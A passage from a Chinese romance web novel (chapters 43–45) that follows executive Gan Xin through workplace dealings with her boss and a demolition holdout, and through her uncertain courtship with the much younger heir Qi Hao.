还告诉别人即使这样也不一定会答应? 这是什么?年长者的卑劣吗? 待头发吹了个半干,甘歆将浴室的窗打开了些,带着微雨的凉风吹了进来,彻底抚平了身体里的骚动,她却不知道该如何出去面对齐灏。 甘歆规规矩矩地先去卧室找了长睡衣睡裤,穿戴完备后才走了出去。 客厅里的大灯已经被打开,整个空间都亮着。 四处都没有齐灏的身影,连刚刚掉落在门口的西装和马甲也是,她的高跟鞋也不见了。 齐灏走了,她说不清是轻松还是失落。 可一想到男人竟然在事前临阵脱逃,她还是觉得有些无语。 甘歆去厨房里给自己倒了杯水,再去玄关柜那拿了手机,才坐到了沙发上,她盘起了腿,喝了一口水后,才打开,齐灏留了言。 “门卫打电话让挪车,下个楼就回。” “我……没有准备东西。” “不想伤害你,即使你同意,也不可以。” “我喜欢你,我喜欢你,我喜欢你。” “高跟鞋我带走了,修好了给你送回来。” “早点休息,晚安。” 六条留言,看似风马牛不相及,甘歆却觉得感动,她几乎能感受到齐灏发每一条时候的心情,急切、不安、挣扎、珍爱、真诚、温暖。 她真的很想问问齐灏,到底她哪里好,能让一个什么都不缺的他,做到这个地步? 这次她不忍逗弄这只小狗,给他吃了定心丸,“谢谢,你也是,晚安。” 她斜靠在沙发上,机械式地刷着手机,思绪却半点不在这上面,这一晚上,过得真是精彩,大脑皮层被刺激得不轻,轻轻呼出了一口气,慢慢让自己放松下来。 甘歆看了看挂钟,十点多,不算晚,又是难得的周六,她把电视打开,继续上次没看完的电视剧。 刚看了没多久,手机就响了起来,她看了一眼,是沈确。 她接了起来,“沈总。” “到家了吗?” “到了的。” “你一个人?” 甘歆无声笑了笑,“嗯,不然还有谁?” 沈确愣了一下,继续说道:“今天的事是Rita不对,她就是小孩子心性,你别往心里去。” 本来这件事现场过了就过了,沈确还来这么解释一下,用的还是这个口吻,甘歆觉得有些不爽,好像是私底下来跟她讨关系似的,多大人了还小孩子心性。 公事上,甘歆可以对沈确忍耐,私事上,没有必要。 “沈总,Rita对我这么有恶意,原因你心里应该很清楚吧,纵容这种事情发生的难道不是你吗?”甘歆直起了身子,语气逐渐严肃,“平时公司里瞎传就算了,哪家公司没点八卦,但那是什么场合,且不说我代不代表得了晟宇,至少她任大小姐代表雅悦,你让我别往心里去,偏要等到她把晟宇和雅悦都扯进来,你才愿意出面,沈确,你有没有心啊?!” 这顿骂实在突然,电话那头的沈确都有些发懵,“……抱歉。” “你最应该道歉的不是我,是任婷!”甘歆的火都被勾出来了,“公司里谁不知道她喜欢你,别说公司,齐灏都清楚,一个姑娘家,得多喜欢你才会弄得人尽皆知?” “我……”沈确顿了顿,“抱歉,我没想到你会说这样的话。” “她喜欢你喜欢得都扭曲了,我劝你行行好,给人家一句痛快话,别一边说不会和她订婚,又一边忙着照顾她喊她婷婷!” “……那次在车库,你听见了?” 这下换甘歆沉默了,她深呼吸了一口气,“听见了。” 两人都沉默了一会儿,沈确才开口,“你没什么别的想问的?” “沈总,”甘歆平静了一点,“这么多年,拿我当挡箭牌,也差不多了吧,我不是凌总,不想代替她,也替代不了她。” 对面的男人似乎呼了一口气,沈确的最后一层伪装被卸了下来,声音也哑了,“原来你都知道啊。” “跟了你这么多年,我也不是傻子,”甘歆的语调软了下来,“沈总,斯人已逝,早点放下吧。” “敢这么跟我说话的,也就只有她和你了,”沈确的声音里藏了点沧桑,不惑之年的男人终于愿意显露出他的疲惫,“其实你们俩,也只是长得有点像,凌玥要是有你一半坚定,也不会出国了。” “老板……”直到此时,甘歆才愿意放下姿态来安慰他,“那是个意外,意外不可预估。” “对不起,阿歆,我为我今天下午说过的话道歉。” “没事,老板偶尔发个疯,正常。” “我没想到婷婷会做那样的事,她太冲动了,今天万幸没出什么岔子,不然以后雅悦估计路不好走。” 甘歆叹了口气,“与其想想后果,不如想想原因吧。” “你还挺大度,我还以为你当场要让她下不来台呢,”沈确笑了笑,“这么忍气吞声,不太像你的作风。” “问题不大,刚刚在那儿面子捡回来了,现在里子也捡回来了,不亏。” 沈确突然问道:“你和齐灏在一起了?” 甘歆装傻,“没有,他帮我个忙而已,谁让你的婷婷仗势欺人。” “我看不像,”沈确笑了一下,又伸了个懒腰,“他虽然年轻,但他是个男人,男人看男人还是看得明白点,他对你有意思,三番两次了。” “别瞎说,人家多大我多大,人家什么身份我什么身份。” 成年人,总是喜欢用玩笑的口吻说真心话。 “嗯,”沈确没否认,还锤了一下,“光他是齐灏,就够麻烦的了。” 甘歆胸口突然有些闷,不知道该说什么,只能附和,“我知道,我有分寸。” “早点休息吧。” “好。” “甘歆,”沈确在电话里叫住她,“谢谢你。” “不客气,老板发财。” 挂了电话,甘歆往沙发上一躺,手机随手扔在了沙发里,继续看着电视剧,两个财阀下一辈的结合,俊男靓女、门当户对,年龄……相仿。 她这些日子在期待什么呢? 被齐灏牵手、被他拥抱、接吻,今天还差点……上.床? 难道答应让他追,不是缓兵之计吗,慢慢感受两个人的差距,将炽热的心冷却下来,然后各自回过正常的生活,顺便,和过去那段不雅的日子告别,将见不得人的那些事都埋入地底? 应该是这样的,可为什么自己会觉得有些难受? 她也是从二十来岁时过来的,那时候对什么都饱满、有激情,相信世界一切美好,也期待美好总会降临在自己身上,可十年后,自己又是怎么想的,又获得了什么呢? 在工作里学会了忍耐,在生活里学会了吃外卖? 在爱情里收获了失望,以至于决定独身一人? 看现在的齐灏……就好像在看十多年前的自己,十年之后呢,齐灏也会被这些磨损棱角、日渐圆滑,然后对生活降低期待吗? 她都从来没有坚持喜欢一个人超过十三年,要怎么去相信 齐灏真的能跨过年龄的鸿沟呢? 更何况,他可是齐灏啊。 寰科、齐家、首富,任何一个词,对自己来说,都太大太远了。 她深呼吸了一口,试图汲取一些新鲜空气,却还是觉得憋闷,甘歆忍不住起身,走到阳台,打开了窗。 春风是暖的,雨是冷的。 春天最会蛊惑人心。 连绵的雨过后,被阳光一晒,就什么都没了。 她回过头,看向客厅一角,那里放着齐灏之前送来的巨大毛绒玩具熊,无意识地问道:“你觉得齐灏会喜欢我多久?” 第43章 第43章他觉得他们的关系好像到了瓶…… 慈善晚宴后,晟宇和甘歆都成了香饽饽,这个世界的大多数人都热衷见风使舵,在这个行业里,寰科就是风。 沈确倒是很坦然,并且也没有特意要谢过齐灏的意思,在与甘歆又接待过一波造访后,他坐在会议室里,甘歆去茶水间添了水,再回到了会议室。 看见甘歆手里拿的可乐,沈确的眉毛抬了抬,“总算不生我气了。” “你卖我的事我还记着呢,”甘歆在沈确边上的位置上坐下,喝了口茶,“不跟你计较了。” “拿VP补,”沈确看着甘歆,神色认真,“北泽第一批完成拆迁后,就升了吧。” 甘歆有些意外,她总觉得就算要升VP,也是等年底寰科融资完成,“是不是有点快了?” 沈确笑了笑,“歆总风头一时无两,再不给你个像样的抬头,我怕别的公司开出的条件太诱惑,到时候再留你,我就不大度了。” “沈总是对自己没信心,还是对晟宇没信心,”甘歆笑笑,“多少是有情分在的。” “我一直觉得物超所值,就那个时候吧,”沈确一锤定音,“等着董事会的时候我提一下。” “谢谢沈总。” “不过你现在的总监职位,可能得兼一段时间,”沈确手势打住了甘歆要说的话,“我知道你助理还不错,对内是没问题,但对外,不管是部门还是上下游公司,她还不够格。” 甘歆知道他说的是事实,部门内天大的矛盾顶多吵一架,部门外、合作方大多都是吃人不吐骨头的豺狼,依照现在张然的性子而言,跟把兔子送到他们嘴边没什么区别。 “我知道了,沈总,”但甘歆确实希望能够帮她一把,“不过以后业务上的事,我还是会多带她熟悉熟悉,迟早要做的。” “阿歆,”沈确点了点她,“又心软。” 甘歆咧嘴笑了笑,“能帮就帮一点,如果我是她,我也很希望能够出现一个人帮帮我。” “你给她涨工资我没意见,但抬头不能动,”沈确推了推眼镜,意有所指,“毕竟那场晚宴她没出现,我可不想看到其他部门鸡飞狗跳的,闹死了。” “知道啦,谢谢沈总,那我先出去了。” 好事成双,甘歆坐到办公室,上次的猎头就给了她回复,说洲海在招风控岗位的人,还是个高级专员岗,问她朋友有没有兴趣,如果有的话可以直接安排面试。 她有些惊讶,洲海向来实力强劲,虽比不上寰科,但和晟宇比起来绰绰有余,没记错的话,在那场宴会上,洲海的台卡是数字8,她有些意外,打字问过去,“洲海怎么会放这种岗位出来?” “您不知道,洲海最近的股权结构刚刚变过,听说从头到尾洗了一遍,空了好多岗位出来,我看您朋友的简历挺符合的,要不要试试?” 甘歆觉得这机会不错,点了头,随即也跟张然说了,让她老公好好准备,如果能进洲海的话,薪酬应该不低,而且平台宽阔,发展前景也好。 看到张然一下就亮起来的眼睛,甘歆宽慰不少,这些日子见她笑得也少了,几乎没了以前的幸福婚后小女人形象。 “那个猎头的眼光很准,面试正常发挥,能进的概率很大。” “谢谢你,阿歆,我都不知道要怎么感谢好,”张然的眸子里洇了点水汽上来,“要不改天上我们家吃饭吧。” “别客气,”甘歆也回笑,“等你老公工作定下来了再说。” “哎,好好。” 忙完这一通,就到了中午,她照例从帆布袋里找出了洗干净的饭盒,打算去B2找周泽,其实后来她也和齐灏说过,真没必要送,实在要送的话减少点频率,但齐灏就是不肯,还拿她的话来堵她,说什么……说说让人追,一点都不接受人的好,送个饭都不接受,这哪儿是让的态度。 想到这个她就想笑,太子爷强词夺理起来,真是谁都拗不过。 意外的是,周泽今天没有沉默,“歆总,老板这两天要回广粤老宅,有些忙不过来,让我来给您说一声,您有什么事需要帮忙的话,直接找我就好。” 甘歆脱口而出,“你不跟着他回去吗?” “公司里还有事要处理,”周泽顿了顿,“老板还说,您在这里。” 甘歆眉毛挑了一下,再看周泽,这人说得坦然,对齐灏和自己的事情一点都不在意,她故意试探了一下,“那这几天,是不是可以不送餐了?” “歆总,您别为难我。” 又是这一套,甘歆叹了口气,“你老板是不是每天借机监视我啊?” “没有,”周泽立刻否认,表情都有些紧张,“那我……那我以后放外卖柜,您记得拿。” “我开玩笑的,”甘歆瞧周泽年纪也不大,不好逗得太过分,“就还这样吧,他有说过什么时候回来吗?” 周泽摇头,“老板没说,或者您问问他,我……不好打听。” “好,”甘歆扬了扬手里的饭盒,“今天也谢谢你了。” 刚坐回办公室,齐灏的消息就来了。 依旧是那极具特色的三个字,“方便吗?” 甘歆这两个字都回顺手了,“方便。” 电话里的齐灏声音听起来有些疲惫,像是熬了夜,“洲海的事你听说了吗?” “听说了,股权结构变了?”甘歆想起来上午那个猎头的话。 “嗯,集团那边也受了点影响,”齐灏顿了顿,“抱歉,最近没办法来见你了。” 甘歆调笑道:“你不是留了个最强辅助给我么?” “……没有,”齐灏清了清嗓子,“公司这边也有不少事的,周泽留下我放心些。” “嗯。” 事实上,自从上次齐灏在甘歆家里“落荒而逃”,已经快两周了,他们俩都没见过面,齐灏问过两次,甘歆都说有事,他也没多追问,堵门堵人的技能也没再施展过。 她觉得……事态好像在往既定的轨道上发展。 “我……”齐灏顿了顿,“我在机场了。” “好,”甘歆说得平静,“一路平安。” “你要好好吃饭,周末也是。” “嗯,你也是。” 两个人一阵沉默,好像都不知道聊什么似的,甘歆说就先挂了。 悬在甘歆嘴边的那句“你什么时候回来”,她没问出口。 对于齐灏,甘歆很少说这种带着“牵挂、约束”的话,她总是极大程度地给齐灏空间,她从未主动约过他,除了工作也不曾主动占据他的时间。两人单独相处的时候,即使会有亲密接触,但分开后,她很少去回忆,也刻意不让自己产生眷恋。 她不想因为自己,影响一个年轻人对这个世界的好奇心和判断力。 也不敢,将自己托付给年轻人。 无论他的经历有多丰富,世界始终会包容21岁。 但她的21岁永远不会再回来了。 机场,候机室。 身着制服的空乘走到齐灏旁边,“齐总,已经是最后一次催促登机了。” 齐灏从手机屏幕上回过神来,对空乘点了点头,站了起来,径直往登机口走去,在跨越廊桥,进入机舱的一瞬间叹了口气。 明明那么顺畅问了周泽的问题,怎么就不能直接来问他? 他断定和上次他的离开没有关系,也正因为有这种断定,齐灏觉得自己目前和甘歆的关系好像到了瓶颈期,他有些不知所措。 这次他难得拿起了航司的一本杂志,宠物专题的,他盯着狗绳凝视了许 久,手捏成拳在杂志上敲了两下。 这周过去,齐灏没有回来。 又一周过去,齐灏依旧在广粤。 看来老宅的事务比想象得要更复杂,这天甘歆碰到周泽的时候,没忍住问了问近况,周泽也不清楚,说这几天齐灏回复他的批示都很少,大多都很简要,应该是真的很忙。 这两周甘歆和齐灏联系得也不多,说的话都不痛不痒,别太忙、多喝水、早点睡。 齐灏每天都会和甘歆发晚安,有的时候是晚上11点,有的时候是凌晨2点,有的时候是清晨4点,最晚的一次,是早上9点,她有的时候会回,有的时候不回。 今天已经中午了,可齐灏的晚安还没来。 甘歆发现,齐灏在身边的时候,她尚且能故作矜持、能嘴硬,可他一离开,心底的担心就会冒出来,毫无征兆。但又自持不敢去求证,这种担心就成为了情绪的底色。 看着桌上的饭盒,她觉得自己有些吝啬。 对着朋友,对着同事,甚至对着陌生人,她都能做到自然关心,可一旦这个人变成齐灏,她就会变得刻薄,变得狠心,脑子里都是不要对他说什么、不要对他做什么,事实也是如此。 齐灏会期待吗,会期待的吧。 什么都不说,他会伤心吗,还是会难过。 甘歆手里握着手机,景页的对话框已经成为了他们日常留言的账号,她记得齐灏说过,这才是他的私人号码。 她觉得自己应该要问点什么的,睡了么,吃了么之类的。 简单的打招呼,应该没事的吧。 刚刚打好的字还没发送,齐灏的留言先一步过来了。 “姐姐,今天刚结束,晚安。” 她觉得胸口有些酸胀,再一次把打好的字删除了,只回了“好梦”过去。 甘歆以为今天的话到此为止,可齐灏又快速回了过来,“有你好梦。” 她呼吸滞了一下,眼睛睁了睁,想问问他方不方便打个电话,门却在此时被敲开了。 “歆总,”张然探了个脑袋进来,提醒道,“保障房进度组会开始了哦。” 她看了看时间,竟然已经到了下午一点半,没再管手机,直接退出了聊天软件,带着电脑往会议室里走去。 北泽第一批拆迁只剩下了唯一一家钉子户,会议室里现在坐着不少人,张然、项目经理、执行人员都在,所有人都一脸愁容。 “说什么都不肯走,多给赔偿也不干,就说要找领导。” “村委呢,没出面吗?”甘歆问项目经理。 “村民觉得村委也是本次拆迁的受益人,不会听他们的,不过村委对他们的态度的确不太好,感觉也没怎么做村民思想工作。” “那你们上次去有什么收获?” “那两家就是钱的问题,签了补充协议和保密协议后都解决了,这户人家是个孤寡大娘,说什么都不肯搬走,只说找领导。” 甘歆沉思,看了看张然,张然对她摇了摇头。 “那我去一趟吧。” “歆总,那边现在拆迁,人员混乱,万一北泽其他村民看到你去,可能会来跟你开条件。”张然直言,话里都是对甘歆的担忧。 “没事,”甘歆对着张然抿了个笑,“合同都签好了,不怕的。” “叫小孙和你一起去吧,”张然说,“找个男同事,放心些。” “没事的,这样,我直接去拜访村委,你们还有融资项目的事情要做,一趟出差回来不知道又要加几天班了。” 见张然依旧忧心,甘歆笑了笑,假意责怪道:“我在你们心里这么娇气啊?” 大家松弛了,都对着她笑。 她也跟着笑,“平时少气我倒是真的。” 第44章 第44章你就当是我自己求个放心,好…… 周一,得知甘歆又要去北泽村,齐灏这次连“方便吗”都没发,直接打了电话过来,还是在中层会议的时候,她把电话按掉了,可齐灏又打了来。 甘歆不得不拿着手机出去,找了间空的小会议室,坐下后才接了起来。 不同往日的宽和,齐灏的声音带着急躁,还有些从未出现过的责怪,带着些哑,“你又去那里做什么?!” 甘歆皱了皱眉,耐心地和他解释,“出差啊,最后一家钉子户了,要见领导。” “你是领导吗就去?他们村委呢?” 她依旧将齐灏的出格态度归为关心,好声好气地和她说:“村委沟通过了,村民不听,就想找个能说得上话的,对方是大娘,我去聊聊没什么的。” “没什么?!”齐灏的话拐了个弯,“有危险怎么办,谁来帮你?” 三个回合下来,甘歆也有点来火,“你干嘛这么大火气,我就是去出个差,快的话当天就回县城里了。” “上次我们去那边,不提村委的势利眼,好几个村民都不好说话,晟宇没人了吗,非得你去?又是在这种有钉子户的情况下,他们万一做局,你怎么办?” “齐灏。”甘歆的声音冷了下来。 “能不能不去?”齐灏问得理所当然,她好像看到了齐总的一些影子,“或者等我回来和你一起去,行吗?” 甘歆深呼吸了一下,眉头紧皱,“你妨碍到我工作了。” 电话那头的年轻男人愣了一下,没说话。 “我不是你的下属,在非寰科相关的项目上,也没有必要听取你的建议,”甘歆说得中规中矩,话里给齐灏留了情面,“我很感谢你的担忧,但这是我的工作。” “甘歆……”齐灏那边似乎牙都咬紧了。 他哪里需要这样的情面,这么官方,这么冷淡,他宁可甘歆破口大骂,也不想她这么对待自己。 “齐总,记得吗?我以前跟你说过,上班时间,我们不要联系。” 甘歆将电话挂了,齐灏又打过来,她直接摁掉,开了免打扰,回了大会议室。 沈确看了她一眼,没说什么,会议继续。 下了会,甘歆回到自己的办公室,没看到齐灏再打来的电话,也没收到他发过来的留言,她把手机往桌子上一扔,手指头摁着额头,揉捏了几下。 直觉告诉甘歆,齐灏现在心情一定很差,但她不想主动去联系,她凭什么主动联系,本来就是她的工作,有什么好讨价还价的,公司里随便派个人去,到头来还不是到她头上,还不如她主动亮出诚意,直接去北泽村沟通,说不定效果还好一些。 门被敲了敲,甘歆连头都没抬,“进。” 直到人坐到面前的位置上,甘歆才发现是沈确,她挤了个笑出来,“沈总大驾光临。” “开会的时候就见你不对头,怎么了?” “没事,”甘歆皱了皱眉,“被狗咬了。” 沈确直接接话,“太子爷是什么品种啊?” 甘歆愣了一下,才有些不好意思,“抱歉,刚刚影响开会了。” 沈确回头看了一眼,门关好了,他往前倾了些,手肘搁在了桌子上,撑着头,“齐灏真的在追你?” 说到这个甘歆也有点头疼,但已经太明显的东西再否认,自己好像心里有鬼一样,“嗯。” “不得了啊,”沈确笑得贼,“这是我第一次明确感知到齐灏有喜欢的东西。” 甘歆哼笑了一声,禁不住翻了半个白眼,“装的。” “惹你不高兴了?” “没有,”甘歆不想在这种事上和沈确说太多,“沈总有什么吩咐?” “我可不敢吩咐太子爷看上的女人。” “哎你有完没完,”甘歆气恼,皱着个眉往椅背上靠了靠,“有事说事。” “北泽你一个人去不行,太危险了,”沈确正色道,“上次是我疏忽,而且你的确带了个……男的在身边,一个人去,无法保障安全。” 甘歆狐疑,“齐灏给你打电话了?” “他比我还早知道你要出差?”他镜片后的目光闪耀出了一丝八卦的意味,“你俩聊得挺深入啊。” “……OA流程慢。”甘歆信口胡 诌。 “但凡是个正常人都不会同意你独自去北泽出差的,我安排个人跟你一起去吧。”沈确说得自然,自以为滴水不漏。 “沈总,你还没回答我刚刚的问题。” 沈确的脸色沉了沉,没否认。 甘歆冷笑了下,“他可真敢。” 见沈确还想再劝,她直接说:“我不希望自己是因为有人撑腰,才显出金贵来,马德里会议室里的刀,圣保罗谈判桌上的枪,我也都见过,我认为这次出差只是稀松平常的一次,请你不要因为他司老板来左右你下属的想法。” 沈确双手举起作投降状,“歆总歆总,别生气,我也只是走个流程。” 甘歆忍不住对沈确撒气,“你怎么回事,小孩儿的话也听?!” 没想到沈确听了直接笑出来了,笑得好大声,“不是不是,全世界都把齐灏当大人,就你把他当小孩。” “21岁,你们就把他当大人,是不是有点太过了啊?” “歆总这是……心疼了?” “您要是没别的话,可以先回楼上,我这儿也没有大红袍招待您。” 沈确笑得整个人都颤了,“哎我说,你这个暴脾气齐灏竟然能忍得了?他什么时候受过气啊。” 甘歆睨了他一眼,不打算说话了。 “不过人家说得也没错,北泽那边是挺危险的,你还是带个人去吧。” 这次她直接瞪了过去,沈确才噤了声。 沈确站了起来要走,临出门又转了回来,“齐灏都能算是我看着长大的了,他可一点都不简单,刚认字就被他爷爷带在身边了,这么个人对你如此上心,阿歆,你之前跟我说的话我也说一遍给你听。”他看着甘歆的眼睛,语气像钉子一样钉进了甘歆的耳朵里,“行不行,趁早给人一句痛快话。” 见沈确要走,甘歆喊住了他,“沈总,Rita那边,痛快话你给了吗?” 她本来以为沈确不会回答,或者面露不屑扬长而去,却没想到他说:“还没有,我现在觉得这个小姑娘有点意思。” 玻璃门再次阖上,甘歆看着面前北泽村的资料,脑子里都是刚刚齐灏的强势、管制,她从未见过这样的齐灏,以前总觉得他是又乖又听话的小狗,可他刚刚的样子,分明是一头暴躁的狼。 甘歆的手机响了,是齐灏发来的一个表情包。 狗狗委屈.jpg 她都懒得理他,你凶人你还委屈,还有没有天理了。 下午她就直接买了机票,把高铁票一起买了,顺手提交了公司OA,这事宜早不宜迟,今天齐灏能找沈确,明天说不定把飞机给拦下来,谁知道他疯起来能干什么事。 下班前,张然进来找甘歆,放了一个小袋子在桌上,脸上带着遮掩不掉的高兴。 甘歆看了看竟然是自制的饼干,再看看张然的表情,“小然总这是做什么,贿赂我啊?” 张然脸上的笑好像憋不住了,脚步也跟着轻快起来,走到甘歆旁边,揽过她的肩膀,呈现出亲密的友人姿势,“嘿嘿,贿赂你。” “发生什么好事了?你别告诉我你二胎了啊。” 张然啧了一声,“当然不是,我家现在这个经济状况,再来个二胎,我能直接焦虑死。” “不是就行,”甘歆转过去,握住了张然的手臂,“快说说,什么好事。” “我老公面试过啦,进洲海了,”张然抿了个笑,眼睛里都是感激,“谢谢你,阿歆!” “真的啊?!”甘歆也笑开了,“是好事啊,洲海真的不错,他们好像也是因为这次的股权变动,才流了很多职位出来,你老公运气挺好的。” “哪里是他运气好,是我运气好,有你这么个朋友。” 甘歆虚虚打了她一下,“马屁功夫见长。” “这是我做的小饼干,你……出差路上带着吃!”张然抓过甘歆的手,“说好了啊,等你出差回来,要来我家吃饭的。” “行行行,答应你啦。” 她还记得之前张然失魂落魄的样子,脸上还有一副倔劲,好像能够为家庭把所有的苦都吃下来,现在连背影里都带着放松,甘歆真的为她感到高兴。 甘歆突然觉得,张然这样也很好,选择一个喜爱的人,和他一起承担生活里的酸甜苦辣,什么都能分享,什么都愿意一起扛。 用力呼吸一口,这些思绪不多想,明天出差,早点下班。 此时她的手机又响了起来,依旧是齐灏发来的表情包。 狗狗摇尾.jpg 泪眼汪汪.jpg 甘歆瘪了瘪嘴,摇了摇头,用齐灏的方式,打了三个字过去,“方便吗?” 下一秒就接到了齐灏的电话。 男人的声音已经全哑了,好像连说话都有些费劲,“我错了,姐姐。” 甘歆觉得好像有一道春雷劈了下来,才惊觉齐灏今天都没和自己说晚安,“你没睡觉?还是生病了?” “没关系,”齐灏话说得很慢,“是我关心则乱,越界了,你别生气,别不理我。” 她有点着急,“真的没睡?生病了没,你说啊。” “……没有,就是有点上火,已经在喝凉茶了。”齐灏那边咽了咽,“你去北泽要小心,我知道你不喜欢,有些事我不想瞒着你做,我让周泽在县城呆着,他不妨碍你,但有什么事他能帮你,我就这一个请求,你能不能答应我?” 这人怎么……真把自己当宝贝啊,甘歆的鼻子突然有些泛酸,嘴上还是忍不住数落他,“你怎么那么矫情。” “是我矫情,是我担心,你就当是我自己求个放心,好不好?” 齐灏的“好不好”对甘歆来说,就好像是一张永远会“PASS”的咒语,对着这个年轻人的珍惜对待,她没有办法拒绝,何况他也考虑了自己的自尊,没有把人硬塞到她身边来。 心里已经又酸又软了,嘴上还在怪他,“你还去找了沈确。” “……对不起,正好,咳……正好有事要和他聊,我就提了一嘴。” “真的没有生病吗?”甘歆的整个人好像都被那声咳嗽捏住了,她此刻关心齐灏的身体胜过其他。 齐灏笑了声,还是哑的,“真的没有,家里出了点乱子,事多,得一件件来。” 她终于问出了那个她想问,齐灏也想听的问题,“那你——什么时候回来啊?” 两人都捏着电话,思念已经到了同一个频率。 齐灏离开三周都不到,甘歆却觉得已经好久没见到他了。 她想她的小狗了,也觉得小狗现在一定很辛苦。 “办完了事就回来,还要几天,我尽快。” 甘歆又说:“别熬夜,别赶,我又不跑。” 电话那头的齐灏笑了两声,哑了的嗓子有着别样的性感,“你跑不掉的,我会追到你。” 手机屏幕好像发了烫,甘歆觉得脸颊都跟着有些烧了起来,顾左右而言他,“我明天的机票,明天到县里,估计后天到北泽村。” 齐灏知道,甘歆这是答应了,他坐在老宅的窗台上,手覆上了水波纹玻璃,嘴角带着满足的笑意,“我知道了。” 挂了电话后,他的房门被敲了敲,一位中年人迈了进来。 “少爷,老爷喊你下楼。” 齐灏的脸冷了下来,刚刚温暖的笑意仿佛是错觉,只剩刀雕般的锋利,“嗯,你先下去吧。” 他的手机亮了,是甘歆主动发来的消息。 她说:“晚安。” “晚安姐姐。”齐灏发了条语音过去。 尔后,他便在屏幕上落下了一个吻。 第45章 第45章没有齐灏,就不可能有景页。…… 次日一早,甘歆就动身了,下午四点多下高铁的时候接到了周泽的电话,说已经安排好了晚上的房间,她可以直接过去休息,听甘歆不说话,周泽又小声说了句这是他 自作主张安排的,不是老板的吩咐,甘歆一下没忍住就笑了出来。 她还是在大堂里和周泽见了面,这个沉默又略显腼腆的助理,连甘歆的眼睛都不敢看。 “你老板是黑背的话,你是……” “我中华田园犬。” 这话他接得太顺溜,甘歆笑得都有些停不下来,眼泪都快被挤出来了,深呼吸了一下,才继续对他说:“谢谢,你也很周到。” 周泽的头低下去了些,他不太像甘歆之前看到过的PA,一点都不圆滑,甚至可以说是沉默的,“谢谢歆总,那您先休息。” “等下,”甘歆叫住他,现在他们就在大堂的沙发上坐着,甘歆单人沙发,周泽坐在多人沙发的一边,“去年你就跟着齐灏了吗,我怎么没见过你?” 周泽明显咽了咽,“从小就跟着的,去年少……老板还在学校,吩咐我不要频繁出现。” “你生在齐家?” 周泽点了点头,“是、是的。” “那你不知道齐灏回去处理什么事?” 周泽似乎没想到甘歆的话在这里等着他,眼睛里露出一丝慌乱,连说话都急了些,“叔公平时不会与我说这些,我、我真的不清楚。” 甘歆睁了睁眼睛,没想到周泽会有这个反应,立马向他道歉,“抱歉,我只是随口问问,你别紧张,不好意思。” 周泽摇了摇头,咬肌紧了紧,“没关系,我只是担心你会误解老板,有点着急,”他抬头看向甘歆,认真地说,“歆总放心,不管碰到什么问题,老板一定能解决的。” “我不是在怀疑你老板的能力,我只是……”有点担心。 甘歆后半句话没说出口,但话说到这,谁都明白。 周泽这才腼腼腆腆露了个笑出来,话说得声也小了,“老板知道您担心他,会很开心的。” 甘歆清了清嗓子,“你怎么也跟着他瞎起哄。” 周泽低了低头,不再说话。 “我明天去村里,快的话下午就回来,”甘歆继续说道,“有什么事我会给你打电话的,你也别太紧张。” “我……”周泽欲言又止,一脸纠结,“我能跟您一起去吗?” 甘歆对着他抬了一下眉毛。 “不是老板吩咐!”他又解释了起来,“上次北泽村的事情我听说了后,特别后怕,但老板就不让我跟着,如果……如果他在学校的这段时间出了差错,董事长可能……” 似乎惊觉自己说得太多,周泽又把嘴闭上了。 “董事长可能什么?” “直接让少爷退学,十年内应该不会回国了。” 甘歆心脏一跳,“他不是只出去了八九个月?” 周泽嘴唇微张,似乎意识到自己说错了话,便装忙起身,“歆总,我还有事要处理,先回房间了,您这边有什么事随时叫我。” “等等!”甘歆抬头看向周泽,缓缓问道:“他本来打算出去多久?” 周泽不太明白甘歆为什么会问这个问题,或许因为太过平常,他也觉得无甚可瞒,便答道:“一年,那段时间老板很拼,都不怎么睡觉,他好像回国有很重要的事要办。” “……你老板是在纽约吗?” “是,”周泽点了点头,“不过就周一在,其他时间都在LA,周一下午就会飞走。” 她好像抓到了些什么,但还是不明确,甘歆对周泽点了点头,“谢谢,你忙吧,辛苦了,明天……还是我自己去,有事我一定给你电话。” “好的歆总,我会在北泽村附近的,赶过来很快。” “麻烦你了。” 周泽离开后,甘歆在这个有些年代感的酒店大堂里坐了很久,看人来人往,有的人拖着行李箱,有的人是行李袋,有西装革履谈生意的,也有花枝招展拉生意的,有的行色匆匆,有的沉默寡言。 旅人……大概就是这样的。 齐灏的那句话不断出现在她脑海,他说他从来没和她说过假话。 景页和他说,在国外,要呆一年。 他们过去的聊天记录已经不见,可有些话,她还记得。 她给齐灏煎牛排,景页说,在等饭,很期待。 她和齐灏在车上,景页说,不休息,在出差。 景页说,在喝咖啡,没等到她,她很厉害,是他馋她。 他好像在用小伙煲汤,又好似在用烈炭烧窑。 汤煮开时,香气才会溢出来。 出窑烧盏,落一片叶子着了火,再浇下水,才会沸腾。 甘歆觉得自己好像有些看轻齐灏的“追”了,她总以为,二十来岁的年轻人,热情、冲动,没有长性,不知道自己要什么,她好像只注意到了他的好奇心、窥探欲和掌控欲,却将他对自己的耐心和纵容无视了。 景页这么熨帖温柔的原因—— 只是因为他是齐灏,喜欢自己的齐灏。 没有齐灏,就不可能有景页。 她突然有些后悔,昨天对齐灏说那样的重话,人家带着私心,自己却只顾着谈公事,自己还要去教育齐灏一些商务规则…… 对自己喜欢的人,哪有什么规则可谈。 想到这里,甘歆没忍住张嘴大口呼吸了一下,试图缓解胸口的酸胀感,她只是从齐灏的角度体验了一小会儿,就有些受不住了,她咬紧了牙关,拿出手机打开了他的对话框。 她想和齐灏说说话,随便什么都好,就像他会经常问自己的,吃饭了吗,今天喝了什么,有没有好好睡觉,明明比自己小十三岁,却都是对着自己哄着来。 但她最终什么也没说,拿着手机独自回了房间里。 这一晚她做了纷繁的梦,梦见高楼林立、潮水四起,所有的风都向自己刮来,她没有抵挡的能力,谁都没有。 早晨醒来后,她靠着床头发了会儿呆。 突然懂了昨天自己的犹豫。 她可以不怀疑齐灏的真心,但却不能不担心世间的险恶。 即使甘歆已经清楚地挖掘到自己对齐灏的好感,她仍旧不敢迈出那一步,身份的差距、世俗的眼光、道德的谴责,每个理由都看起来这么虚无,但只单单拿出一个,就已经令人窒息。 甘歆难得有些想抽烟,虽然她一点烟瘾都没有,只是在一些商务局上被迫礼貌地燃过几根。 看着手机里齐灏发来的“晚安”,时间停留在凌晨两点四十的时候,她的心又软了。 齐灏都这么纵自己了,那自己也纵他几回吧。 至少等到他不再新奇,至少等到他有些厌倦。 至少等到他觉得日子平淡,至少等到他再想起她时没这么多波澜。 她用“年长者”的借口来开解自己,年长者对年轻人要大度,要允许他发疯,允许他选择,允许他改变。 也不一定等得到那时候。 也不一定非得自己亲自拒绝齐灏。 时间,本来就会劝人别再肖想。 起床前,甘歆自嘲地笑了笑。 